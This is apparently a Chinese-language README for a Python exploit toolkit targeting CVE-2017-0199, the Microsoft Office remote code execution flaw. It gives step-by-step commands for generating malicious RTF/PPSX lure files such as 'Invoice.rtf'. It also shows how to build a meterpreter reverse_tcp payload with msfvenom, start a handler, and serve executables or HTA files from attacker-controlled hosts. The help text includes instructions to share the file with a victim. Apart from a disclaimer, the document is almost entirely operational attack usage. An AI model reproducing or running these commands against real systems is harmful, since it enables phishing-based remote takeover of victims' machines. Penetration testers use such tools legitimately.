Exploit toolkit CVE-2017-0199 - v5.0

Exploit toolkit CVE-2017-0199 - v5.0 是一个方便的 Python 脚本，为渗透测试人员和安全研究人员提供了一种快速有效的方法来测试 Microsoft Office RCE。它可以生成恶意的 RTF/PPSX 文件，并在无需任何复杂配置的情况下将 metasploit / meterpreter / 其他 payload 传递到受害者手中。

免责声明

本程序仅供教育目的使用。未经许可，请勿使用。通常的免责声明同样适用，尤其是本人不对因直接或间接使用这些程序所提供的信息或功能而造成的任何损害负责。作者或任何互联网服务提供商对这些程序或其任何衍生内容的使用不当或滥用不承担任何责任。使用本程序即表示您接受以下事实：因使用这些程序而造成的任何损害（数据丢失、系统崩溃、系统被入侵等）均非 bhdresh 的责任。

最后，这是一个个人开发项目，请尊重其理念，不要将其用于非法用途！

许可证

CC BY 4.0 许可证 - https://creativecommons.org/licenses/by/4.0/

版本：Python 版本 3.11.5

场景 1：传递本地 payload

示例命令

1) Generate malicious RTF file
   # python cve-2017-0199_toolkit.py -M gen -t RTF -w Invoice.rtf -u http://192.168.56.1/logo.doc
2) (Optional, if using MSF Payload) : Generate metasploit payload and start handler
   # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
   # msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
3) Start toolkit in exploit mode to deliver local payload
   # python cve-2017-0199_toolkit.py -M exp -t RTF -e http://192.168.56.1/shell.exe -l /tmp/shell.exe

序列图

alt tag

场景 2：传递远程 payload

示例命令

1) Generate malicious RTF file
   # python cve-2017-0199_toolkit.py -M gen -t RTF -w Invoice.rtf -u http://192.168.56.1/logo.doc
2) Start toolkit in exploit mode to deliver remote payload
   # python cve-2017-0199_toolkit.py -M exp -t RTF -e http://remoteserver.com/shell.exe

序列图

alt tag

场景 3：传递自定义 HTA 文件

示例命令

1) Generate malicious RTF file
   # python cve-2017-0199_toolkit.py -M gen -t RTF -w Invoice.rtf -u http://192.168.56.1/logo.doc -x 1
2) Start toolkit in exploit mode to deliver custom HTA file
   # python cve-2017-0199_toolkit.py -M exp -t RTF -H /tmp/custom.hta

序列图

alt tag

命令行参数：

# python cve-2017-0199_toolkit.py -h

This is a handy toolkit to exploit CVE-2017-0199 (Microsoft office RCE)

Modes:

-M gen                                          Generate Malicious file only

     Generate malicious RTF/PPSX file:

      -w <Filename.rtf/Filename.ppsx>     Name of malicious RTF/PPSX file (Share this file with victim).

      -u <http://attacker.com/test.hta>   The path to an HTA/SCT file. Normally, this should be a domain or IP where        this                                          tool is running.
                                      For example, http://attackerip.com/test.doc (This URL will be included in 	                                              malicious RTF/PPSX file and will be requested once victim will open malicious RTF file.
      -t RTF|PPSX (default = RTF)         Type of the file to be generated.
      -x 0|1  (default = 0)               Generate obfuscated RTF file. 0 = Disable, 1 = Enable.

				      
-M exp                                          Start exploitation mode

     Exploitation:
 
      -t RTF|PPSX (default = RTF)         Type of file to be exolited.
      -H </tmp/custom>                Local path of a custom HTA/SCT file which needs to be delivered and executed on target.
                                          NOTE: This option will not deliver payloads specified through options "-e" and "-l"
					  
      -p <TCP port:Default 80>            Local port number.

      -e <http://attacker.com/shell.exe>  The path of an executable file / meterpreter shell / payload  which needs to be executed on target.

      -l </tmp/shell.exe>                 If payload is hosted locally, specify local path of an executable file / meterpreter shell / payload.

CVE-2017-0199-v5.0

最受欢迎